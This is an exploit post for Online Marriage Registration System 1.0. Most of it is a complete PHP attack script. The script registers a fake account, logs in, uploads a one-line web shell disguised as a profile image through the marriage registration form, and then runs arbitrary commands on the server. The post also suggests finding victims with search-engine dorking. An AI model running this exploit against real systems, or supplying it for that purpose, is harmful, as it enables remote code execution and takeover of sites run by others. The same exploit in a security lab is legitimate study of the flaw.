Online Marriage Registration System 1.0 Shell Upload

`=============================================================================================================================================  
| # Title : Online Marriage Registration System 1.0 php code injection Vulnerability |  
| # Author : indoushka |  
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.0 (64 bits) |  
| # Vendor : https://phpgurukul.com/online-marriage-registration-system-using-php-and-mysql/ |  
=============================================================================================================================================  
  
poc :  
  
[+] Dorking İn Google Or Other Search Enggine.  
  
[+] This payload inject php code contains a back door.  
  
[+] Line 16 + 19 Set your Target.  
  
[+] save payload as poc.php  
  
[+] usage from cmd : C:\www\test>php 1.php -u http://127.0.0.1/omrs/ -c dir  
  
[+] payload :  
  
<?php  
// Parse command line arguments  
$options = getopt("u:c:m:p:");  
$url = $options['u'] ?? null;  
$command = $options['c'] ?? null;  
$mobile = $options['m'] ?? null;  
$password = $options['p'] ?? 'inouvis2022';  
  
if (!$url || !$command) {  
die("Usage: php script.php -u <url> -c <command> \n");  
}  
  
function login($url, $mobile, $password) {  
$loginUrl = "{$url}/user/login.php";  
  
$ch = curl_init($loginUrl);  
curl_setopt($ch, CURLOPT_POST, true);  
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([  
'mobno' => $mobile,  
'password' => $password,  
'login' => ''  
]));  
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);  
curl_setopt($ch, CURLOPT_HEADER, true);  
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');  
curl_exec($ch);  
curl_close($ch);  
  
// Extract PHPSESSID from cookie file  
$cookies = file_get_contents('cookie.txt');  
preg_match('/PHPSESSID=(\w+);/', $cookies, $matches);  
return $matches[1] ?? null;  
}  
  
function upload($url, $cookie) {  
$uploadUrl = "{$url}/user/marriage-reg-form.php";  
  
$fileData = [  
'husimage' => curl_file_create('shell.php', 'application/x-php', '<?php $command = shell_exec($_REQUEST["cmd"]); echo $command; ?>'),  
'wifeimage' => curl_file_create('test.jpg', 'image/jpeg')  
];  
  
$ch = curl_init($uploadUrl);  
curl_setopt($ch, CURLOPT_POST, true);  
curl_setopt($ch, CURLOPT_POSTFIELDS, $fileData);  
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt');  
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);  
curl_exec($ch);  
curl_close($ch);  
  
echo "[+] PHP shell uploaded\n";  
}  
  
function getRemotePhpFiles($url) {  
$filesUrl = "{$url}/";  
$ch = curl_init($filesUrl);  
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);  
$response = curl_exec($ch);  
curl_close($ch);  
  
preg_match_all('/\d{10,42}\.php/', $response, $matches);  
return $matches[0];  
}  
  
function execCommand($url, $webshell, $command) {  
$commandUrl = "{$url}/user/{$webshell}?cmd=" . urlencode($command);  
$ch = curl_init($commandUrl);  
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);  
$output = curl_exec($ch);  
curl_close($ch);  
  
echo "[+] Command output\n" . $output . "\n";  
}  
  
function register($mobile, $password, $url) {  
$signupUrl = "{$url}/user/signup.php";  
  
$ch = curl_init($signupUrl);  
curl_setopt($ch, CURLOPT_POST, true);  
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([  
'fname' => 'indoushka',  
'lname' => 'indoushka',  
'mobno' => $mobile,  
'address' => 'indoushka',  
'password' => $password,  
'submit' => ''  
]));  
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);  
curl_exec($ch);  
curl_close($ch);  
  
echo "[+] Registered with mobile phone $mobile and password '$password'\n";  
}  
  
$mobile = $mobile ?? strval(rand(100000000, 999999999));  
$password = $password ?? 'inouvis-2022';  
  
if ($password === 'inouvis-2022' || $mobile === null) {  
register($mobile, $password, $url);  
}  
  
$cookie = login($url, $mobile, $password);  
$initialPhpFiles = getRemotePhpFiles($url);  
upload($url, $cookie);  
$finalPhpFiles = getRemotePhpFiles($url);  
$webshell = array_diff($finalPhpFiles, $initialPhpFiles)[0];  
execCommand($url, $webshell, $command);  
?>  
  
Greetings to :============================================================  
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |  
==========================================================================  
`